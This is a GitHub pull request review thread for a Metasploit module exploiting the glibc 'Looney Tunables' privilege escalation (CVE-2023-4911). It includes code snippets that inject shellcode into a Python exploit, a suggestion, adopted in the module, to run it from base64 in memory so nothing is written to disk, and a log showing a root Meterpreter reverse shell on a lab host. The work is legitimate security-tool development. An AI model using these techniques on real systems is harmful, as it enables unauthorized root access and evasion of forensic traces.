Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) #18541

jheysel-r7 · 2023-11-16T06:34:25Z

The PR adds an exploit for the "Looney Tunables" Linux LPE. It checks to make sure the version of glibc running on the target is vulnerable and once verified it drops a python script that exploits the vulnerability and returns a session running in the context of the root user.

cdelafuente-r7

Thanks for this great module @jheysel-r7 ! I left a few comments for you to review when you get a chance. I tested against a fresh install of Ubuntu 22.04.2 and it works great!

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

data/exploits/CVE-2023-4911/cve_2023_4911.py

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

jvoisin · 2023-12-18T17:07:40Z

data/exploits/CVE-2023-4911/cve_2023_4911.py

+    },
+}
+
+BUILD_IDS = {


Do you have some documentation on how to generate those magic values?

I've added a comment referencing the original PoC which can find these offsets.

jvoisin · 2023-12-18T17:28:10Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+    case sysinfo[:distro]
+    when 'ubuntu'
+      if (Rex::Version.new('2.35-0ubuntu3.4') > Rex::Version.new(glibc_version) && Rex::Version.new('2.35') > Rex::Version.new(glibc_version)) ||
+         (Rex::Version.new('2.37-0ubuntu2.1') > Rex::Version.new(glibc_version) && Rex::Version.new('2.37') > Rex::Version.new(glibc_version)) ||


There is the handy between method, that one can use like this: Rex::Version.new(glibc_version).between?(Rex::Version.new('1.2'), Rex::Version.new('1.9'))

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

jvoisin · 2023-12-18T17:38:03Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+    shell_code = payload.encoded.unpack('H*').first
+    exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code)
+    upload("#{path}/#{python_script}", exploit_data)
+    cmd = "#{python_binary} #{path}/#{python_script}"


Would something like cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)}|base64 -d|#{python_binary} -c") work? It would avoid writing the exploit to disk.

Love that idea @jvoisin, got the payload running without being written to disk 👌

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

jvoisin · 2023-12-18T17:49:10Z

CC @blasty

blasty · 2023-12-18T18:02:38Z

@jvoisin pong. anything in particular I should comment on?

@jheysel-r7 emailed me a while back asking me to add a MIT license blurb to gnu-acme.py so it could be incorporated into MSF. Sorry for not getting back to you, Jack; I'm bad at this whole E-mail thing. :-(

I won't be adding any conventional LICENSE blurbs to any of my public exploit code. It looks like @jheysel-r7 managed to work around this requirement by loosely rewriting my code though?

jheysel-r7 · 2023-12-18T18:22:16Z

@jvoisin pong. anything in particular I should comment on?

@jheysel-r7 emailed me a while back asking me to add a MIT license blurb to gnu-acme.py so it could be incorporated into MSF. Sorry for not getting back to you, Jack; I'm bad at this whole E-mail thing. :-(

I won't be adding any conventional LICENSE blurbs to any of my public exploit code. It looks like @jheysel-r7 managed to work around this requirement by loosely rewriting my code though?

No worries about the email @blasty! I'm not great with the email thing either especially if I don't know the person. Also no worries about the license blurb, I'm not a lawyer however the loose rewriting was an attempt to get around that issue. I've credited you as an author of the module, let me know if you have any questions or issues with any of this.

blasty · 2023-12-18T18:33:00Z

No worries about the email @blasty! I'm not great with the email thing either especially if I don't know the person. Also no worries about the license blurb, I'm not a lawyer however the loose rewriting was an attempt to get around that issue. I've credited you as an author of the module, let me know if you have any questions or issues with any of this.

No issues from my side. If you could change my attribution line from blasty to blasty <peter@haxx.in> I would appreciate it. That's all.

jvoisin · 2023-12-18T23:02:29Z

Nope, nothing in particular, I just wanted to:

let you know that metasploit might soon have one of your exploits in it
give you a headsup to take a look at it if you wanted to help with the effort, or generally look at the code

jheysel-r7

Thanks all for the detailed review. I've pushed some changes and retested both targets listed in the documentation's scenarios section.

data/exploits/CVE-2023-4911/cve_2023_4911.py

jheysel-r7 · 2023-12-19T01:41:47Z

data/exploits/CVE-2023-4911/cve_2023_4911.py

+    },
+}
+
+BUILD_IDS = {


I've added a comment referencing the original PoC which can find these offsets.

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

jheysel-r7 · 2023-12-19T05:40:09Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+    shell_code = payload.encoded.unpack('H*').first
+    exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code)
+    upload("#{path}/#{python_script}", exploit_data)
+    cmd = "#{python_binary} #{path}/#{python_script}"


Love that idea @jvoisin, got the payload running without being written to disk 👌

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

jvoisin · 2023-12-19T17:43:14Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+  include Msf::Exploit::FileDropper
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  BUILD_IDS = %w[69c048078b6c51fa8744f3d7cff3b0d9369ffd53 3602eac894717d56555552c84fc6b0e4d6a4af72 a99db3715218b641780b04323e4ae5953d68a927 a8daca28288575ffc8c7641d40901b0148958fb1 61ef896a699bb1c2e4e231642b2e1688b2f1a61e 9a9c6aeba5df4178de168e26fe30ddcdab47d374 e7b1e0ff3d359623538f4ae0ac69b3e8db26b674 956d98a11b839e3392fa1b367b1e3fdfc3e662f6]


You might want to use a search'n'replace with a placeholder in the .py file for those, to avoid duplicating the information.

jvoisin · 2023-12-19T17:44:02Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+        'DisclosureDate' => '2023-10-03',
+        'Notes' => {
+          'Stability' => [ CRASH_SAFE, ],
+          'SideEffects' => [ ARTIFACTS_ON_DISK, ],


Now that the payload is passed to python directly, there are no traces on disk, are they?

I don't think so, I've removed this now.

jvoisin · 2023-12-19T17:46:06Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+
+  def check_ld_so_build_id
+    # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
+    if command_exists?('file ')


Suggested change

if command_exists?('file ')

if !command_exists?('file ')

print_warning('Unable to verify the BuildID for ld.so by using `file`, the exploit has a chance of being incompatible with this target.')

end

No need to fail should file not exist.

I've left this suggestion out. If file does not exist we print the warning message in the else block and skip everything inside the if as it's all dependant on file being present.

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

jvoisin · 2023-12-19T17:52:15Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+    exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code)
+
+    # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
+    output = cmd_exec("$(echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary})")


Why wrap the command in $(…)? cmd_exec alone should be working, no?

Yup my mistake, that was unnecessarily copy and pasted over from testing.

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

jheysel-r7

Thanks for all the comments @jvoisin, much appreciated!

jheysel-r7 · 2023-12-19T18:43:41Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+    exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code)
+
+    # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
+    output = cmd_exec("$(echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary})")


Yup my mistake, that was unnecessarily copy and pasted over from testing.

jheysel-r7 · 2023-12-19T18:46:53Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+
+  def check_ld_so_build_id
+    # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
+    if command_exists?('file ')


I've left this suggestion out. If file does not exist we print the warning message in the else block and skip everything inside the if as it's all dependant on file being present.

jheysel-r7 · 2023-12-19T18:47:02Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+        'DisclosureDate' => '2023-10-03',
+        'Notes' => {
+          'Stability' => [ CRASH_SAFE, ],
+          'SideEffects' => [ ARTIFACTS_ON_DISK, ],


I don't think so, I've removed this now.

jheysel-r7 · 2023-12-19T18:47:20Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+  include Msf::Exploit::FileDropper
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  BUILD_IDS = %w[69c048078b6c51fa8744f3d7cff3b0d9369ffd53 3602eac894717d56555552c84fc6b0e4d6a4af72 a99db3715218b641780b04323e4ae5953d68a927 a8daca28288575ffc8c7641d40901b0148958fb1 61ef896a699bb1c2e4e231642b2e1688b2f1a61e 9a9c6aeba5df4178de168e26fe30ddcdab47d374 e7b1e0ff3d359623538f4ae0ac69b3e8db26b674 956d98a11b839e3392fa1b367b1e3fdfc3e662f6]


modules/exploits/linux/local/glibc_tunables_priv_esc.rb

jvoisin · 2023-12-20T16:39:58Z

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

+      case sysinfo[:distro]
+      when 'ubuntu'
+        if command_exists?('ldconfig')
+          (file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")'))


Any reasons for wrapping this in parenthesis?

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

modules/exploits/linux/local/glibc_tunables_priv_esc.rb

cdelafuente-r7 · 2023-12-20T19:06:16Z

Thanks for updating this @jheysel-r7 ! Everything looks good to me now. I tested against fresh install of Ubuntu 22.04.2 and verified I got a session as root. I'll go ahead and land it.

Example output:

msf6 exploit(linux/local/glibc_tunables_priv_esc) > run verbose=true session=1

[*] Started reverse TCP handler on 192.168.100.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable
[*] Using 'python3' to run the exploit
[+] The Build ID for ld.so: 61ef896a699bb1c2e4e231642b2e1688b2f1a61e is in the list of supported Build IDs for the exploit.
[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.100.112
[*] Meterpreter session 2 opened (192.168.100.122:4444 -> 192.168.100.112:34790) at 2023-12-20 13:25:30 -0500

meterpreter > getuid 
Server username: root
meterpreter > sysinfo 
Computer     : 192.168.100.112
OS           : Ubuntu 22.04 (Linux 5.19.0-35-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

cdelafuente-r7 · 2023-12-20T19:07:30Z

Release Notes

This adds an exploit module for the "Looney Tunables" Linux LPE, identified as CVE-2023-4911. It checks the version of glibc running on the target to make sure it is vulnerable and, once verified, it drops a python script that exploits the vulnerability and returns a session running in the context of the root user.

Glibc Tunables Exploit

df111af

jheysel-r7 force-pushed the looney-tunables-lpe branch from 8b62160 to df111af Compare December 14, 2023 23:30

Added newline to PoC and removed empty file

d9aa7f9

jheysel-r7 marked this pull request as ready for review December 14, 2023 23:44

jheysel-r7 added module docs labels Dec 14, 2023

cdelafuente-r7 self-assigned this Dec 15, 2023

jheysel-r7 linked an issue Dec 15, 2023 that may be closed by this pull request

Looney Tunables (CVE-2023-4911) LPE #18429

Closed

cdelafuente-r7 reviewed Dec 18, 2023

View reviewed changes

jvoisin reviewed Dec 18, 2023

View reviewed changes

jheysel-r7 added 7 commits December 18, 2023 19:41

Updated attribution

c6a6809

Updated python exploit

2ed3b77

Update docs description minor comments

549ee43

Execute python payload in memory

e858628

Check Build ID before running exploit

4e61596

Update version parsing

44b4b3b

Rubocop, doc scenario update

065abf6

jheysel-r7 commented Dec 19, 2023

View reviewed changes

jvoisin reviewed Dec 19, 2023

View reviewed changes

jheysel-r7 and others added 3 commits December 19, 2023 13:18

Apply suggestions from code review

96241f5

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

Responded to comments from jvoisin

b86df48

Rubocop

d65ceb9

jheysel-r7 commented Dec 19, 2023

View reviewed changes

jvoisin approved these changes Dec 20, 2023

View reviewed changes

Apply suggestions from code review

6a16602

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

jheysel-r7 commented Dec 20, 2023

View reviewed changes

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved

jheysel-r7 commented Dec 20, 2023

View reviewed changes

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved

jheysel-r7 and others added 2 commits December 20, 2023 13:09

Apply suggestions from code review

3424925

Fixed up indentation and rubocop complaints

77fb5d0

cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 20, 2023

cdelafuente-r7 merged commit fb26c93 into rapid7:master Dec 20, 2023
35 checks passed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) #18541

Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) #18541

jheysel-r7 commented Nov 16, 2023 •

edited

cdelafuente-r7 left a comment

jvoisin Dec 18, 2023

jheysel-r7 Dec 19, 2023

jvoisin Dec 18, 2023

jvoisin Dec 18, 2023

jheysel-r7 Dec 19, 2023

jvoisin commented Dec 18, 2023

blasty commented Dec 18, 2023

jheysel-r7 commented Dec 18, 2023

blasty commented Dec 18, 2023

jvoisin commented Dec 18, 2023

jheysel-r7 left a comment

jheysel-r7 Dec 19, 2023

jheysel-r7 Dec 19, 2023

jvoisin Dec 19, 2023

jheysel-r7 Dec 19, 2023

jvoisin Dec 19, 2023

jheysel-r7 Dec 19, 2023

jvoisin Dec 19, 2023

jheysel-r7 Dec 19, 2023

jvoisin Dec 19, 2023

jheysel-r7 Dec 19, 2023

jheysel-r7 left a comment

jheysel-r7 Dec 19, 2023

jheysel-r7 Dec 19, 2023

jheysel-r7 Dec 19, 2023

jheysel-r7 Dec 19, 2023

jvoisin Dec 20, 2023

cdelafuente-r7 commented Dec 20, 2023

cdelafuente-r7 commented Dec 20, 2023

-    if command_exists?('file ')
+    if !command_exists?('file ')
+            print_warning('Unable to verify the BuildID for ld.so by using `file`, the exploit has a chance of being incompatible with this target.')
+    end

Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) #18541

Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) #18541

Conversation

jheysel-r7 commented Nov 16, 2023 • edited

cdelafuente-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jvoisin commented Dec 18, 2023

blasty commented Dec 18, 2023

jheysel-r7 commented Dec 18, 2023

blasty commented Dec 18, 2023

jvoisin commented Dec 18, 2023

jheysel-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jheysel-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

cdelafuente-r7 commented Dec 20, 2023

cdelafuente-r7 commented Dec 20, 2023

Release Notes

jheysel-r7 commented Nov 16, 2023 •

edited